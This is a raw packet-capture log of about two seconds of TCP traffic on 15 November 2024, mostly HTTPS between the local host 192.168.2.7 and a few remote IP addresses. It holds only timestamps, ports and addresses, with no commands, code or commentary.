Nov 15, 2024 13:18:43.487665892 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.487689972 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.487706900 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.487713099 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.487972021 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.487977982 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.491246939 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.491288900 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.491400003 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.491579056 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.491588116 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.604818106 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.609559059 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.610250950 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.610265017 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.610373974 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.610390902 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.611466885 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.611525059 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.611530066 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.611588955 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.613084078 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.613157988 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.615245104 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.615403891 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.615550995 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.623574018 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.623686075 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.623733044 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.623743057 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.623883963 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.623898983 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.624581099 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.624602079 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.624614000 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.624619007 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.629703999 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.629738092 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.629798889 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.630888939 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.630902052 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.668163061 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.668344021 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.752799034 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.793926954 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.872210026 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.872226954 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.872262001 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.872277021 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.872293949 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.872304916 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.872312069 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.872384071 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.874947071 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.874969959 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.874978065 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.875010967 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.875026941 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.875029087 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.875051975 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.875066042 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.875080109 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.875080109 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.875094891 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.875117064 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.991426945 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.991441965 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.991471052 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.991544962 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.991549015 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.991612911 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.994581938 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.994975090 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.994997978 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.995085955 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.995112896 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:43.995126009 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.995148897 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:43.995296955 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:44.038223028 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:44.038269043 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:44.041235924 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.041254997 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.042006969 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:44.042099953 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:44.042233944 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.042241096 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.045990944 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:44.046195030 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:44.073414087 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.089085102 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:44.089127064 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:44.101846933 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.101861954 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.102509022 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.102514029 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.110578060 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.110606909 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.110645056 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.110658884 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.110717058 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.111114979 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.111176968 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.111186981 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.111198902 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.111475945 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.114396095 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.114428043 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.114511967 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.114525080 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.114608049 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.130784035 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.131474018 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.131498098 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.133138895 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.133203983 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.133286953 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.135124922 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.135152102 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.135566950 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:44.137207031 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.137212992 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.138964891 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.138988972 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.171593904 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.171627045 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.171680927 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.171844006 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.172875881 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.172875881 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.172899961 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.172913074 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.176352978 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.176397085 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.176476955 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.177766085 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.177777052 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.198501110 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:44.198554039 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:44.198627949 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:44.201437950 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:44.201456070 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:44.219068050 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.221895933 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.221975088 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.222378969 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.222393036 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.226248980 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.226325035 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.229635000 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.230832100 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.230846882 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.230856895 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.230861902 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.234040976 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.234066010 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.234328985 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.234338045 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.234790087 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.237756968 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.237802982 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.237891912 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.238090992 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.238104105 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.264070988 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.264148951 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.264204979 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.264231920 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.264266968 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.264308929 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.264700890 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.264718056 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.264731884 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.264736891 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.268563032 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:44.268599987 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:44.268713951 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:44.268984079 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:44.268997908 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:44.269953012 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.269993067 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.270293951 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.270472050 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.270487070 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.347855091 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.347937107 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.348015070 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.348242998 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.348263025 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.351881027 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.351917982 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.351996899 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.352258921 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.352277040 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.353503942 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.353543043 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.353636980 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.353636980 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.353651047 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.354300976 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.376776934 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.377826929 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.377865076 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.378412962 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.378423929 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.473191023 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.473223925 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.473328114 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.473328114 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.473339081 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.473570108 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.507580996 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.507608891 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.507654905 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.507666111 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.507695913 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.507931948 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.507947922 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.507971048 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.507977009 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.511847973 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.511897087 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.511957884 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.513067007 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.513081074 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.592739105 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.592761040 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.592852116 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.592863083 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.592880964 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.592940092 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.712347031 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.712356091 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.712435007 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.712450027 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.712483883 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.712506056 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.754885912 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.754915953 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.755014896 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.755016088 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.755023956 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.755331039 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.833337069 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.833360910 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.833436966 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.833450079 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.833489895 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.833489895 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.840975046 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:44.908102989 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.908817053 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.908859968 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.909389019 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.909395933 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.952419043 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.952455997 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.952513933 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.952534914 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.952578068 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.952578068 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.969085932 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.969717026 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.969733000 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:44.970276117 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:44.970280886 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.005955935 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.006279945 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.006344080 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.007843018 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.007935047 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.008218050 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.008305073 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.008372068 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.008388042 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.024585009 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.025500059 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.025541067 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.026562929 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.026570082 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.050657988 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.053539038 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.053620100 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.053702116 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.054282904 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.054306030 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.054317951 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.054326057 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.057583094 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.057614088 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.057749033 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.058094025 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.058108091 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.060837984 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.060934067 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.064852953 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.064891100 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.065237999 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.071661949 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.071722984 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.071825027 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.071825027 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.071834087 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.071927071 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.074497938 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.074793100 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.074817896 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.075161934 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.075516939 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.075586081 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.075680017 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.094055891 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.095232964 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.095278025 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.095738888 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.095746994 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.099411011 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.099445105 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.099518061 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.099526882 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.099565983 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.099869967 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.099894047 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.099906921 CET	49863	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.099915028 CET	443	49863	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.103231907 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.103275061 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.103518009 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.103806019 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.103820086 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.110215902 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.114026070 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.114084005 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.114155054 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.114155054 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.114180088 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.114233017 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.114403009 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.115247965 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.115262032 CET	443	49849	13.107.246.45	192.168.2.7
